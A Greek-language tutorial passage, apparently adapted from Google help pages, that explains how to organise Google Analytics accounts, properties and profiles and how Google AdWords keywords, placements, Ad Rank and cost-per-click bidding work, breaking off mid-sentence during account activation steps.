Υπάρχει η δυνατότητα δημιουργίας και εφαρμογής πολλαπλών προφίλ σε μία ιδιοκτησία, ώστε να μπορείτε να εναλλάσσεστε εύκολα μεταξύ διαφορετικών προβολών των δεδομένων στις αναφορές σας. Για παράδειγμα, ενδέχεται να έχετε ένα προφίλ το οποίο φιλτράρει όλη την εσωτερική επισκεψιμότητα από τις αναφορές σας και ένα άλλο προφίλ που χρησιμοποιείτε μόνο για την αναφορά δραστηριότητας σε ένα συγκεκριμένο κατάλογο. Άλλα εργαλεία αναφοράς του Google Analytics, όπως Στόχοι, Σύνθετα τμήματα και Ειδοποιήσεις, εφαρμόζονται όλα σε μεμονωμένα προφίλ. Η πρόσβαση χρήστη εκχωρείται, επίσης, σε επίπεδο προφίλ, ώστε να μπορείτε να περιορίζετε και να μοιράζεστε δεδομένα με χρήστες λογαριασμών, ανάλογα με την εκάστοτε περίσταση. Το Google Analytics δημιουργεί αυτόματα ένα μη φιλτραρισμένο προφίλ για κάθε ιδιοκτησία που προσθέτετε στο λογαριασμό σας. Συνιστάται να μην διαγράφετε ή προσθέτετε ποτέ φίλτρο σε αυτό το αρχικό προφίλ. Δεν είναι δυνατή σε καμία περίπτωση η ανάκτηση των δεδομένων αφότου έχουν διαγραφεί ή φιλτραριστεί. Αντίθετα, ρυθμίστε νέα προφίλ και προσαρμόστε το καθένα εξ αυτών έτσι ώστε να ανταποκρίνεται στους στόχους αναφοράς σας. Συνήθη σενάρια για την οργάνωση των λογαριασμών και των προφίλ Επειδή οι σχέσεις λογαριασμού-προφίλ μπορεί να είναι ένας προς ένα ή ένα προς πολλά, θα έχετε το μέγιστο όφελος αν τις οργανώσετε με βάση τις προσωπικές σας ανάγκες ή τις ανάγκες της επιχείρησής σας. Για παράδειγμα: - Εάν θέλετε να συλλέξετε δεδομένα για τον προσωπικό σας ιστότοπο και το προσωπικό σας ιστολόγιο, μπορείτε να δημιουργήσετε ένα λογαριασμό με δύο προφίλ: ένα προφίλ για τον ιστότοπό σας και ένα άλλο για το ιστολόγιό σας. - Εάν θέλετε να συλλέξετε δεδομένα μόνο για τον ιστότοπο της εταιρείας σας, μπορείτε να χρησιμοποιήσετε ένα λογαριασμό με ένα ή περισσότερα προφίλ. Εάν υπάρχουν διαφορετικά τμήματα στην εταιρεία σας και θέλετε να παρακολουθήσετε ξεχωριστά την περιοχή του ιστότοπου που τους αντιστοιχεί, μπορείτε να δημιουργήσετε ένα προφίλ για κάθε ένα από αυτά τα τμήματα και να διαμορφώσετε κάθε προφίλ ώστε να περιλαμβάνει μόνο τα συναφή δεδομένα. Εάν διαχειρίζεστε το Analytics για πολλούς ιστότοπους που ανήκουν σε διαφορετικούς πελάτες, θα πρέπει να δημιουργήσετε ξεχωριστό λογαριασμό στο Analytics για κάθε πελάτη

και, στη συνέχεια, να δημιουργήσετε σε κάθε λογαριασμό τα απαραίτητα προφίλ. Αυτός ο τύπος οργάνωσης σάς επιτρέπει να παραχωρείτε στους πελάτες σας πρόσβαση στο λογαριασμό τους στο Analytics και εξασφαλίζει ότι οι πελάτες δεν θα έχουν τη δυνατότητα να βλέπουν τα δεδομένα των άλλων πελατών. Εάν διατηρείτε μόνο ένα λογαριασμό με ξεχωριστά προφίλ για κάθε πελάτη, όλοι οι πελάτες στους οποίους έχετε παραχωρήσει πρόσβαση διαχειριστή θα έχουν πρόσβαση σε όλα τα προφίλ (και τα δεδομένα όλων των πελατών) αυτού του λογαριασμού. Τρόπος διαχείρισης του Google Analytics Χρησιμοποιήστε τις καρτέλες διαχείρισης για να διαχειριστείτε τους λογαριασμούς, τις ιδιοκτησίες ιστού, τα προφίλ, τους χρήστες και τα φίλτρα σας. Για να ανοίξετε τις καρτέλες διαχείρισης, κάντε κλικ στην καρτέλα Διαχειριστής που βρίσκεται στην επάνω δεξιά πλευρά κάθε σελίδας του Analytics. Οι καρτέλες διαχείρισης είναι οργανωμένες ως εξής: Λογαριασμοί Κάντε κλικ σε έναν λογαριασμό για να δείτε τα εξής: - Ιδιοκτησίες ιστού Ιδιοκτησίες ιστού που σχετίζονται με τον λογαριασμό στο Analytics. -Προφίλ Προφίλ που φιλτράρουν τα δεδομένα από την ιδιοκτησία ιστού. - Στοιχεία Προσαρμοσμένα τμήματα και σχόλια που έχουν διαμορφωθεί για το προφίλ. - Στόχοι Στόχοι μετατροπής που έχουν διαμορφωθεί για το προφίλ - Χρήστες Χρήστες που μπορούν να βλέπουν τα δεδομένα που είναι διαθέσιμα στο προφίλ. - Φίλτρα

Τα φίλτρα που καθορίζουν τα δεδομένα που είναι διαθέσιμα στο προφίλ. Διαμόρφωση νέων φίλτρων, προσθήκη υπαρχόντων φίλτρων, επεξεργασία και κατάργηση φίλτρων. - Ρυθμίσεις προφίλ Γενικές πληροφορίες (π.χ. διεύθυνση URL ιστότοπου, όνομα προβολής, ζώνη ώρας, κλπ.), ρυθμίσεις ηλεκτρονικού εμπορίου, ρυθμίσεις αναζήτησης ιστότοπου. Κώδικας παρακολούθησης Ο κώδικας παρακολούθησης για τη συλλογή δεδομένων από την ιδιοκτησία ιστού. Επικολλήστε αυτόν τον κώδικα στις ιστοσελίδες σας. Ρυθμίσεις ιδιοκτησίας ιστού Επεξεργασία του ονόματος του λογαριασμού, διαγραφή του λογαριασμού και τροποποίηση των ρυθμίσεων κοινής χρήσης δεδομένων. - Χρήστες Οι χρήστες που σχετίζονται με αυτόν το λογαριασμό. Προσθήκη χρηστών στο λογαριασμό και συσχετισμός χρηστών με προφίλ. - Πηγές δεδομένων Οι πηγές κόστους του AdWords και οι λογαριασμοί AdSense που είναι συνδεδεμένοι στον λογαριασμό σας στο Analytics. - Φίλτρα Τα φίλτρα που καθορίζουν τα δεδομένα που είναι διαθέσιμα στα προφίλ. Προσθήκη, επεξεργασία, διαγραφή φίλτρων. Εφαρμογή φίλτρων σε προφίλ. - Ρυθμίσεις λογαριασμού Αναγνωριστικό λογαριασμού, όνομα λογαριασμού και ρυθμίσεις κοινής χρήσης δεδομένων Το πρώτο σας βήμα πρέπει να είναι η δημιουργία ενός λογαριασμού, αν δεν έχετε ήδη. Μάθετε περισσότερα σχετικά με τη σύνδεση, την προσθήκη και την τροποποίηση λογαριασμών και χρηστών. Μόλις ολοκληρώσετε τη ρύθμιση των λογαριασμών και των χρηστών σας, το επόμενο βήμα είναι η προσθήκη ιδιοκτησιών ιστού στους λογαριασμούς σας και, η δημιουργία προφίλ για κάθε ιδιοκτησία ιστού, ώστε να έχετε τη δυνατότητα να συλλέγετε δεδομένα για αυτούς τους ιστότοπους και να βλέπετε τις σχετικές αναφορές.

Μπορείτε επίσης να χρησιμοποιήσετε φίλτρα για να συμπεριλάβετε ή να εξαιρέσετε συγκεκριμένα δεδομένα, να δημιουργήσετε νέα πεδία αναφορών και να πραγματοποιείτε λειτουργίες αναζήτησης και αντικατάστασης για να αλλάξετε τον τρόπο εμφάνισης των δεδομένων σας στις αναφορές. Αν χρησιμοποιείτε το AdWords, μπορείτε να συνδέσετε τους λογαριασμούς σας στο Analytics και στο AdWords. Προσθήκη νέου λογαριασμού Για να πραγματοποιήσετε εγγραφή για ένα λογαριασμό στο Google Analytics, επισκεφθείτε τη διεύθυνση http://www.google.gr/analytics και κάντε κλικ στο σύνδεσμο Εγγραφή τώρα. Διαφορετικά, αν είστε ήδη χρήστης του AdWords, μπορείτε να δημιουργήσετε ένα νέο λογαριασμό μέσω του Google Analytics στην καρτέλα Εργαλεία και ανάλυση στη διεπαφή του AdWords. Δημιουργία επιπλέον λογαριασμών στο Analytics Μπορείτε να δημιουργήσετε νέους λογαριασμούς στο Google Analytics, ακόμα και αν είστε διαχειριστής σε κάποιον άλλο λογαριασμό. 1. Συνδεθείτε στον τρέχοντα λογαριασμό σας στο Analytics στη διεύθυνση http://www.google.com/analytics. 2. Κάντε κλικ στην καρτέλα Διαχειριστής στην επάνω δεξιά πλευρά της σελίδας. 3. Πάνω από την καρτέλα Προφίλ στο πάνω μέρος της σελίδας, επιλέξτε το τμήμα του συνδέσμου Όλοι οι λογαριασμοί (ο πλήρης σύνδεσμος είναι: Όλοι οι λογαριασμοί > ο λογαριασμός στον οποίο είστε συνδεδεμένος). 4. Κάντε κλικ στο στοιχείο + νέος λογαριασμός. 5. Επιλέξτε αν θέλετε να παρακολουθήσετε έναν ιστότοπο ή μια εφαρμογή. 6. Ιστότοπος: Εισαγάγετε το όνομα και τη διεύθυνση URL του ιστότοπου. 7. Επιλέξτε μια κατηγορία κλάδου. 8. Στο τμήμα Ρυθμίσεις κοινής χρήσης δεδομένων, ορίστε τις επιλογές κοινής χρήσης δεδομένων που θέλετε. 9. Στο Ζώνη ώρας αναφορών, επιλέξτε τη χώρα ή την περιοχή σας από το μενού και επιλέξτε τη ζώνη ώρας που θέλετε να χρησιμοποιήσετε. 10. Καταχωρίστε το όνομα που θέλετε να χρησιμοποιείτε για το λογαριασμό.

11. Επιλέξτε Λήψη αναγνωριστικού παρακολούθησης. Προσθήκη/επεξεργασία ιδιοκτησιών ιστού Πρέπει να είστε διαχειριστής για να προσθέσετε ή να επεξεργαστείτε ιδιοκτησίες ιστού. Για να προσθέσετε μια ιδιοκτησία ιστού: 1. Κάντε κλικ στην καρτέλα Διαχειριστής που βρίσκεται επάνω δεξιά σε όλες τις σελίδες του Analytics. 2. Κάντε κλικ στον λογαριασμό στον οποίο θέλετε να προσθέσετε μια ιδιοκτησία. 3. Κάντε κλικ στο στοιχείο + Νέα ιδιοκτησία ιστού. 4. Όνομα ιδιοκτησίας ιστού: εισαγάγετε ένα όνομα για την ιδιοκτησία ιστού 5. Διεύθυνση URL ιστότοπου: επιλέξτε http ή https και καταχωρίστε τη διεύθυνση URL του ιστότοπου που θέλετε να παρακολουθήσετε, με την εξής μορφή: - Για την καταχώριση της διεύθυνσης URL, μπορείτε να χρησιμοποιήσετε μόνο χαρακτήρες UTF-8. Δεν είναι δυνατή η χρήση των εξής χαρακτήρων UTF-8: & = . $ %20 ? ^ #. - Δεν πρέπει να υπάρχουν άλλοι χαρακτήρες μετά το όνομα του τομέα (όπως, για παράδειγμα, μια κάθετος στο τέλος της διεύθυνσης). - Αν καταχωρίσετε μια διεύθυνση URL που δεν έχει σωστή μορφή, το Google Analytics δεν θα σας επιτρέψει να συνεχίσετε μέχρι να διορθωθεί το σφάλμα. 6. Ζώνη ώρας: επιλέξτε χώρα και ζώνη ώρας. Αν ο λογαριασμός σας στο Analytics δεν συνδέεται με λογαριασμό στο AdWords, μπορείτε να ορίσετε τη ζώνη ώρας εδώ. Από προεπιλογή, έχει γίνει ορισμός όλων των λογαριασμών σε Ώρα Ειρηνικού στη Βόρεια Αμερική. 7. Πατήστε Δημιουργία ιδιοκτησίας. Εάν ο λογαριασμός σας στο Analytics είναι συνδεδεμένος με έναν λογαριασμό στο Google AdWords, θα γίνει αυτόματος ορισμός της ζώνης ώρας σύμφωνα με την προτίμησή σας στο AdWords και δεν θα βλέπετε τη λειτουργία ζώνης ώρας στον λογαριασμό σας στο Analytics. Αυτό διασφαλίζει τις ακριβείς αναφορές στις καμπάνιες σας στο AdWords. Είναι σημαντικό να έχετε υπόψη σας ότι αλλάζοντας τη ζώνη ώρας θα επηρεαστούν τα δεδομένα από τη συγκεκριμένη ημερομηνία και μετά και ότι αυτή η αλλαγή δεν εφαρμόζεται

αναδρομικά. Ενδεχομένως να παρατηρήσετε ένα επίπεδο σημείο ή μια ραγδαία άνοδο στα δεδομένα των αναφορών σας, περίπου τη χρονική στιγμή που ενημερώσατε τη ρύθμιση ώρας. Αυτό οφείλεται σε μια χρονική μετατόπιση προς τα εμπρός ή προς τα πίσω αντίστοιχα. Επιπλέον, τα δεδομένα αναφορών σας ενδέχεται να παραπέμπουν στην παλιά ζώνη ώρας για μια μικρή χρονική περίοδο μετά την ενημέρωση των ρυθμίσεών σας, έως ότου οι διακομιστές μας επεξεργαστούν την αλλαγή. Για να επεξεργαστείτε μια ιδιοκτησία ιστού: 1. Κάντε κλικ στην καρτέλα Διαχειριστής που βρίσκεται επάνω δεξιά σε όλες τις σελίδες του Analytics. 2. Κάντε κλικ στο λογαριασμό που περιέχει την ιδιοκτησία ιστού. 3. Κάντε κλικ στο όνομα της ιδιοκτησίας ιστού. 4. Κάντε κλικ στην επιλογή Ρυθμίσεις ιδιοκτησίας ιστού. 5. Επεξεργαστείτε τις ρυθμίσεις και κατόπιν κάνετε κλικ στην επιλογή Εφαρμογή.

Google Adwards Δημιουργείτε διαφημίσεις και επιλέγετε λέξεις-κλειδιά που είναι λέξεις ή φράσεις σχετικές με την επιχείρησή σας. Δείτε ιδέες για λέξεις-κλειδιά Όταν οι χρήστες πραγματοποιούν αναζήτηση στο Google χρησιμοποιώντας μία από τις λέξεις-κλειδιά σας, η διαφήμισή σας ενδέχεται να εμφανιστεί δίπλα από τα αποτελέσματα αναζήτησης. Τώρα, διαφημίζεστε σε ένα κοινό που ενδιαφέρεται ήδη για εσάς. Οι χρήστες μπορούν απλώς να κάνουν κλικ στη διαφήμισή σας για να πραγματοποιήσουν αγορά ή για να μάθουν περισσότερα σχετικά με εσάς. Τώρα μπορείτε να διαφημιστείτε σε χρήστες που πραγματοποιούν αναζήτηση στο Google. Ακόμη και αν εμφανίζεστε ήδη στα αποτελέσματα αναζήτησης του Google, το AdWords μπορεί να σας βοηθήσει να στοχεύσετε νέα κοινά στο Google και στο διαφημιστικό μας δίκτυο. Μπορείτε να επεξεργαστείτε τις διαφημίσεις σας και να προσαρμόσετε τον προϋπολογισμό σας μέχρι να έχετε τα αποτελέσματα που θέλετε. Μπορείτε επίσης να προβάλλετε διάφορες μορφές διαφημίσεων. Μπορείτε ακόμα και να στοχεύσετε τις διαφημίσεις σας σε συγκεκριμένες γλώσσες και γεωγραφικές τοποθεσίες Δεν υπάρχει

ελάχιστη απαίτηση δαπανών ή δέσμευση χρόνου. Και με την επιλογή κόστους ανά-κλικ, χρεώνεστε μόνο αν κάποιοι κάνουν κλικ στις διαφημίσεις σας. Αυτό σημαίνει ότι κάθε ευρώ του προϋπολογισμού σας χρησιμεύει για να σας φέρει νέους πελάτες. Δεν υπάρχει ελάχιστη απαίτηση εξόδων το ποσό που καταβάλλετε για το AdWords εξαρτάται από εσάς. Μπορείτε για παράδειγμα, να ορίσετε έναν ημερήσιο προϋπολογισμό πέντε ευρώ και ένα μέγιστο κόστος δέκα λεπτών για κάθε κλικ στη διαφήμισή σας. Παρέχουμε την επισκεψιμότητα με βάση τις λέξεις-κλειδιά και τις εκτιμήσεις κόστους ώστε να μπορείτε να λάβετε ενημερωμένες αποφάσεις σχετικά με την επιλογή των λέξεων κλειδιών σας και τη μεγιστοποίηση του προϋπολογισμού σας. (Εκτίμηση κόστους λέξεωνκλειδιών) Θα χρεώνεστε μόνο όταν κάποιος χρήστης κάνει κλικ στη διαφήμισή σας και όχι όταν εμφανίζεται η διαφήμιση. Οι επιλογές πληρωμής ποικίλλουν ανάλογα με τη χώρα και το νόμισμα. Ρυθμίστε τις διαφημίσεις σας ώστε να προβάλλονται μόνο σε χρήστες που πραγματοποιούν αναζητήσεις σε συγκεκριμένη περιοχή. Τώρα είναι εύκολο να στοχεύετε ηλεκτρονικά πελάτες που απέχουν, π.χ. 25 μίλια από την πόρτα σας. Επισκόπηση AdWords Ανεξάρτητα από τον προϋπολογισμό σας και το χρόνο που έχετε, μπορείτε να προσεγγίσετε νέους πελάτες και να αναπτύξετε την επιχείρησή σας, χρησιμοποιώντας το διαδικτυακό διαφημιστικό πρόγραμμα της Google. Με το AdWords, μπορείτε να επιλέξετε πού θα εμφανίζεται η διαφήμισή σας, να ορίσετε έναν προϋπολογισμό με τον οποίο θα νιώθετε άνετα (δεν υπάρχει δέσμευση για ελάχιστη δαπάνη) και να μετρήσετε εύκολα τον αντίκτυπο της διαφήμισής σας. Προσεγγίστε άτομα ακριβώς όταν αναζητούν στο Διαδίκτυο αυτό που προσφέρετε εσείς. Η διαφήμισή σας μπορεί να εμφανιστεί στο Google και στους ιστότοπους των συνεργατών της. Με την προσφορά κόστους ανά κλικ (CPC), χρεώνεστε μόνο όταν κάποιος χρήστης κάνει κλικ στη διαφήμισή σας. Μερικά σημαντικά πράγματα κάνουν το AdWords να ξεχωρίζει από τα άλλα είδη διαφήμισης. Με το AdWords μπορείτε: Να προσεγγίσετε άτομα ακριβώς τη στιγμή που αναζητούν αυτό που προσφέρετε εσείς. Η διαφήμισή σας εμφανίζεται στα άτομα που ήδη αναζητούν τα είδη των προϊόντων και των υπηρεσιών που προσφέρετε. Έτσι, αυτά τα άτομα είναι πιο πιθανό να δράσουν. Μπορείτε να επιλέξετε πού θα εμφανίζεται η διαφήμισή σας σε ποιους συγκεκριμένους ιστότοπους και σε ποιες συγκεκριμένες γεωγραφικές περιοχές (πολιτείες, πόλεις ή ακόμα και γειτονιές).Το AdWords προσεγγίζει το 80% των χρηστών του Διαδικτύου στις Η.Π.Α. Είναι μεγάλο το κοινό αυτό.

Παράδειγμα: Ας πούμε ότι είστε υπεύθυνοι για ένα φούρνο κοντά στην Πάτρα. Ορίστε να εμφανίζεται η διαφήμισή σας στους πελάτες μόνο αυτής της τοποθεσίας και, όταν κάποιος που ζει ή κάνει διακοπές εκεί αναζητήσει στο Google "κεκάκια βατόμουρο κοντά στην Πάτρα", θα μπορεί να δει τη διαφήμισή σας και να κάνει κλικ σε αυτήν για να συνδεθεί με την επιχείρησή σας. z Να ελέγξετε τον προϋπολογισμό σας Με την προσφορά κόστους ανά κλικ (CPC), χρεώνεστε μόνο όταν κάποιος χρήστης κάνει κλικ στη διαφήμισή σας και όχι όταν εμφανίζεται η διαφήμιση. Υπάρχουν διάφορες επιλογές υποβολής προσφορών που μπορείτε να χρησιμοποιήσετε. Αποφασίζετε το ποσό (μικρό ή μεγάλο) που θέλετε να δαπανάτε κάθε μήνα και δεν θα χρεωθείτε ποτέ παραπάνω από το συγκεκριμένο ποσό. Δεν υπάρχει δέσμευση για ελάχιστη δαπάνη. Να δείτε ακριβώς τι έχει επιτυχία στη διαφήμισή σας και να βασιστείτε σε αυτό Δείτε μια αναφορά της προόδου της διαφήμισής σας δείτε πόσοι νέοι πελάτες συνδέονται στην επιχείρησή σας μέσα από τη διαφήμισή σας, από πού προέρχονται και άλλες λεπτομέρειες. Χρησιμοποιήστε τα εργαλεία του AdWords, για να επεξεργαστείτε και να βελτιώσετε τη διαφήμισή σας, και να αυξήσετε τον αριθμό των δυνητικών πελατών που θα επικοινωνήσουν με την επιχείρησή σας. Είναι απλό να ξεκινήσετε και είναι εύκολο να το διακόψετε προσωρινά ή μόνιμα. Δεν υπάρχουν προαπαιτούμενα ή περιορισμοί. Τώρα που διαβάσατε την επισκόπηση του AdWords και κατανοήσατε τον τρόπο με τον οποίο το διαφημιστικό πρόγραμμα της Google μπορεί να σας βοηθήσει να αναπτύξετε την επιχείρησή σας, ας εμβαθύνουμε σε μερικές σημαντικές έννοιες του AdWords. Για να κατανοήσετε πώς λειτουργεί το AdWords, θα πρέπει να εξοικειωθείτε με μερικές βασικές δομικές έννοιες όπως είναι οι λέξεις-κλειδιά, οι τοποθετήσεις, η κατάταξη διαφήμισης, οι προσφορές και ο Δείκτης ποιότητας Οι λέξεις-κλειδιά είναι λέξεις ή φράσεις που επιλέγετε και οι οποίες μπορούν να ενεργοποιήσουν την προβολή της διαφήμισής σας σε ιστότοπους αναζήτησης και άλλους ιστότοπους. Για παράδειγμα, αν ασχολείστε με την παράδοση λουλουδιών, μπορείτε να χρησιμοποιήσετε τον όρο "παράδοση λουλουδιών" ως μία λέξη-κλειδί στην καμπάνια σας στο AdWords. Όταν κάποιος κάνει αναζήτηση στο Google χρησιμοποιώντας τη φράση "παράδοση λουλουδιών" ή έναν παρόμοιο όρο, η διαφήμισή σας ενδεχομένως να εμφανιστεί δίπλα στα

αποτελέσματα αναζήτησης Google. Η διαφήμισή σας μπορεί επίσης να εμφανιστεί και σε άλλους ιστότοπους του Δικτύου Google, οι οποίοι σχετίζονται με την παράδοση λουλουδιών. Συμβουλή: Δημιουργώντας μια λίστα λέξεων-κλειδιών που είναι συναφείς με το προϊόν ή την υπηρεσία σας και εξασφαλίζοντας ότι είναι συγκεκριμένες και όχι γενικές (για παράδειγμα, "παράδοση λουλουδιών" αντί για απλώς "λουλούδια"), στην ουσία μπορείτε να προβάλετε τη διαφήμισή σας στα άτομα που δείχνουν το μεγαλύτερο ενδιαφέρον για το προϊόν ή την υπηρεσία σας. Αυτό βελτιώνει την απόδοση της διαφήμισής σας και σας βοηθά να διαχειρίζεστε καλύτερα τα χρήματα που ξοδεύετε για τη διαφήμισή σας. Τοποθετήσεις: Διαφήμιση σε ιστοτόπους που δεν προσφέρουν λειτουργίες αναζήτησης Οι λέξεις-κλειδιά μπορούν να ενεργοποιήσουν την προβολή των διαφημίσεών σας δίπλα σε αποτελέσματα αναζήτησης του ιστότοπου Google και άλλων ιστότοπων αναζήτησης. Ωστόσο, οι λέξεις-κλειδιά μπορούν επίσης να ενεργοποιήσουν την προβολή των διαφημίσεών σας σε άλλους ιστότοπους στο Διαδίκτυο που υπάγονται στην ιδιοκτησία Google, όπως το YouTube και συνεργαζόμενοι ιστότοποι της Google, όπως, για παράδειγμα, οι NYTimes.com και Families.com. Αυτοί οι ιστότοποι ονομάζονται τοποθετήσεις." Μια τοποθέτηση μπορεί να αποτελείται από έναν ολόκληρο ιστότοπο ή ένα μέρος του. Αυτοί οι ιστότοποι αποτελούν μέρος αυτού που ονομάζουμε Δίκτυο εμφάνισης. Το Google μπορεί να προσδιορίσει αυτόματα πού εμφανίζονται οι διαφημίσεις σας, αντιστοιχίζοντας τις λέξεις-κλειδιά σας με ιστότοπους του Δικτύου εμφάνισης. Εναλλακτικά, αν θέλετε να έχετε μεγαλύτερο έλεγχο ως προς το πού εμφανίζονται οι διαφημίσεις σας, μπορείτε να επιλέξετε οι ίδιοι συγκεκριμένες τοποθετήσεις. Μπορείτε να ορίσετε προσφορές για κάθε διαφήμιση και να επιλέξετε τους ιστότοπους στους οποίους θα εμφανίζονται οι διαφημίσεις σας Κατάταξη διαφήμισης: Πώς καθορίζει η Google ποιες διαφημίσεις θα εμφανίζονται σε ποιες θέσεις Ας υποθέσουμε ότι πολλοί διαφημιζόμενοι χρησιμοποιούν την ίδια λέξη-κλειδί για να ενεργοποιήσουν τις διαφημίσεις τους ή θέλουν οι διαφημίσεις τους να εμφανίζονται στους ίδιους ιστότοπους. Πώς καθορίζει το Google ποιες διαφημίσεις θα εμφανίζονται και με ποια σειρά; Αυτό γίνεται αυτόματα, με βάση αυτό που ονομάζουμε Κατάταξη διαφήμισης.

Η κατάταξη διαφήμισης βασίζεται σε ένα συνδυασμό της προσφοράς σας (τι ποσό είστε διατεθειμένοι να ξοδέψετε) και του Δείκτη ποιότητας (μιας μέτρησης της ποιότητας των διαφημίσεων, των λέξεων-κλειδιών και του ιστότοπού σας). Ανάλογα με το πού προβάλλεται η διαφήμισή σας και τον τύπο στόχευση που χρησιμοποιείτε, η φόρμουλα για την Κατάταξη διαφήμισης μπορεί να διαφέρει ελαφρώς, ωστόσο πάντα ενσωματώνει την προσφορά και το Δείκτη ποιότητας. Παρακάτω, θα εξετάσουμε με μεγαλύτερη λεπτομέρεια το Δείκτη ποιότητας. Το σημαντικότερο που πρέπει να γνωρίζετε είναι ότι η ποιότητα και η συνάφεια των λέξεων κλειδιών, των σελίδων προορισμού και της διαφήμισής σας είναι εξίσου σημαντικά στοιχεία όσον αφορά την κατάταξη της διαφήμισής σας, όσο το ποσό που είστε διατεθειμένοι να ξοδέψετε. Λίγα πράγματα σχετικά με την υποβολή προσφορών και το Δείκτη ποιότητας Η προσφορά και ο Δείκτης ποιότητας μπορεί να λειτουργούν ελαφρώς διαφορετικά ανάλογα με τον τύπο καμπάνιας. Ακολουθούν ορισμένα παραδείγματα που θα σας βοηθήσουν να το κατανοήσετε καλύτερα. Με μια διαφήμιση στόχευσης λέξεων-κλειδιών στον ιστότοπο Google και τους συνεργαζόμενους ιστότοπούς του, η προσφορά σας θα είναι μέγιστη προσφορά κόστους ανά κλικ -- το μέγιστο ποσό που είστε διατεθειμένοι να πληρώσετε για κάθε κλικ στη διαφήμισή σας. Ο Δείκτης ποιότητάς σας βασίζεται στη συνάφεια των λέξεων-κλειδιών σας, την ποιότητα της σελίδας προορισμού, την αναλογία κλικ/εμφανίσεων (CTR) της διαφήμισής σας, προσαρμοσμένα σύμφωνα με τη θέση της διαφήμισης στη σελίδα καθώς και σε μερικούς άλλους παράγοντες. Στην περίπτωση μιας διαφήμισης στοχευμένης με βάση την τοποθέτηση στο Δίκτυο εμφάνισης Google, η οποία χρησιμοποιεί προσφορές κόστους ανά χίλιες εμφανίσεις (CPM), ο Δείκτης ποιότητας βασίζεται απλώς στην ποιότητα της σελίδας προορισμού σας. Υπάρχουν αρκετές παραλλαγές, ωστόσο τα γενικά θέματα είναι τα ίδια. Στο τέλος της ημέρας, το ποσό που πληρώνετε Πληρώνετε πάντα το χαμηλότερο δυνατό ποσό για την υψηλότερη θέση που μπορείτε να επιτύχετε δεδομένου του Δείκτη ποιότητας και της προσφοράς σας. Για να υπολογίσει αυτό το ποσό, η Google εξετάζει την Κατάταξη διαφήμισης της διαφήμισης που εμφανίζεται στην επόμενη θέση (για παράδειγμα, για διαφημίσεις που εμφανίζονται σε μια σελίδα αναζήτησης Google, αυτή θα είναι η θέση ακριβώς κάτω από εσάς) και σας χρεώνει μόνο με το χαμηλότερο ποσό προσφοράς που θα ξεπερνούσε την Κατάταξη διαφήμισης της εν λόγω διαφήμισης, στρογγυλεμένο προς τα επάνω στο πλησιέστερο λεπτό. Επομένως, ανεξάρτητα

από το ποσό προσφοράς σας, θα πληρώνετε μόνο το ελάχιστο που απαιτείται για να ξεπεράσετε το διαφημιζόμενο που βρίσκεται κάτω από εσάς. Εκκίνηση με τρία εύκολα βήματα Τώρα που γνωρίζετε λίγα πράγματα για το διαδικτυακό, διαφημιστικό πρόγραμμα της Google και τον τρόπο με τον οποίο μπορεί να βοηθήσει την επιχείρησή σας, δείτε πώς μπορείτε να το δοκιμάσετε (χωρίς προαπαιτούμενα ή περιορισμούς) σε τρία βασικά βήματα: 1. Δημιουργία λογαριασμού 2. Δημιουργία πρώτης διαφήμισης 3. Ενεργοποίηση λογαριασμού (και εισαγωγή κουπονιού AdWords, αν έχετε) Η

διαδικασία

διαρκεί

λίγα

μόλις

λεπτά.

Ανατρέξτε

στη

διεύθυνση

(https://adwords.google.com) και κάντε κλικ στην επιλογή Έναρξη τώρα. Εισαγάγετε μια διεύθυνση ηλεκτρονικού ταχυδρομείου, επιλέξτε κωδικό πρόσβασης, επιλέξτε ζώνη ώρας και νόμισμα και επιβεβαιώστε τη διεύθυνση του ηλεκτρονικού σας ταχυδρομείου. Τώρα είστε έτοιμοι να μεταβείτε στο επόμενο βήμα: τη δημιουργία της πρώτης σας διαφημιστικής καμπάνιας. Αφού δημιουργήσετε το λογαριασμό σας και επιβεβαιώσετε τη διεύθυνση του ηλεκτρονικού σας ταχυδρομείου, θα σας μεταφέρουμε κατευθείαν σε μια σελίδα όπου μπορείτε να συντάξετε την πρώτη σας διαφήμιση. Εδώ μπορείτε να είστε δημιουργικοί. Μπορείτε να επιλέξετε τη θέση εμφάνισης της διαφήμισής σας, να αποφασίσετε για τον προϋπολογισμό, να συντάξετε τη διαφήμισή σας και να επιλέξετε κάποιες λέξεις ή φράσεις (λέξεις-κλειδιά), χάρη στις οποίες η διαφήμισή σας θα εμφανίζεται δίπλα στο πλέον κατάλληλο περιεχόμενο (η διαφήμισή σας μπορεί να εμφανίζεται δίπλα στα αποτελέσματα αναζήτησης της Google ή σε ιστότοπους συνεργατών, για παράδειγμα). Επιλογή θέσης εμφάνισης της διαφήμισης: Μπορείτε να επιλέξετε τους ιστότοπους, τις θέσεις, τις γλώσσες και τα είδη συσκευών, όπως προσωπικούς υπολογιστές ή smartphone. Αν δεν νιώθετε έτοιμοι να πάρετε αυτές τις αποφάσεις τώρα, απλώς χρησιμοποιήστε τις προεπιλογές. Απόφαση προϋπολογισμού: Αποφασίστε πόσο θέλετε να πληρώνετε κάθε φορά που κάποιος κάνει κλικ στη διαφήμισή σας και ορίστε το μέγιστο ποσό που θέλετε να δαπανάτε καθημερινά. Σύνταξη σύντομης διαφήμισης: Γράψτε μια επικεφαλίδα και μια σύντομη περιγραφή. Για παράδειγμα, αν έχετε ένα φούρνο κοντά στην Αθήνα, μπορείτε να γράψετε

μια επικεφαλίδα "Αθηναϊκός φούρνος", με μια περιγραφή "Ζεστά ψωμάκια, κέικ και γλυκά. Δωρεάν παράδοση." Επιλέξτε λέξεις-κλειδιά που θα βοηθήσουν τη διαφήμισή σας να εμφανίζεται στις αναζητήσεις: Η διαφήμισή σας μπορεί να εμφανίζεται, όταν οι χρήστες κάνουν αναζητήσεις στο Google χρησιμοποιώντας λέξεις που τοποθετείτε στις διαφημίσεις σας. Αν, για παράδειγμα, οι χρήστες αναζητήσουν "κεκάκια βατόμουρο κοντά στην Πάτρα", μπορούν να δουν τη διαφήμισή σας με την παραπάνω επικεφαλίδα και περιγραφή, καθώς και τα επαγγελματικά σας στοιχεία για επικοινωνία. Ανάλογα με τις επιλογές που κάνετε, θα μπορούσαν επίσης να δουν τη διαφήμισή σας σε ιστότοπους συνεργατών της Google σε όλο το Διαδίκτυο. Για αρχή, επιλέξτε καμιά δεκαριά λέξεις-κλειδιά και να θυμάστε ότι μπορείτε πάντα να τις επεξεργαστείτε ή να προσθέσετε και άλλες αργότερα. Ενεργοποίηση λογαριασμού και υποβολή κωδικού κουπονιού, αν έχετε. Τέλος, για να αρχίσει η προβολή της διαφήμισής σας, θα πρέπει να εισαγάγετε κάποια βασικά 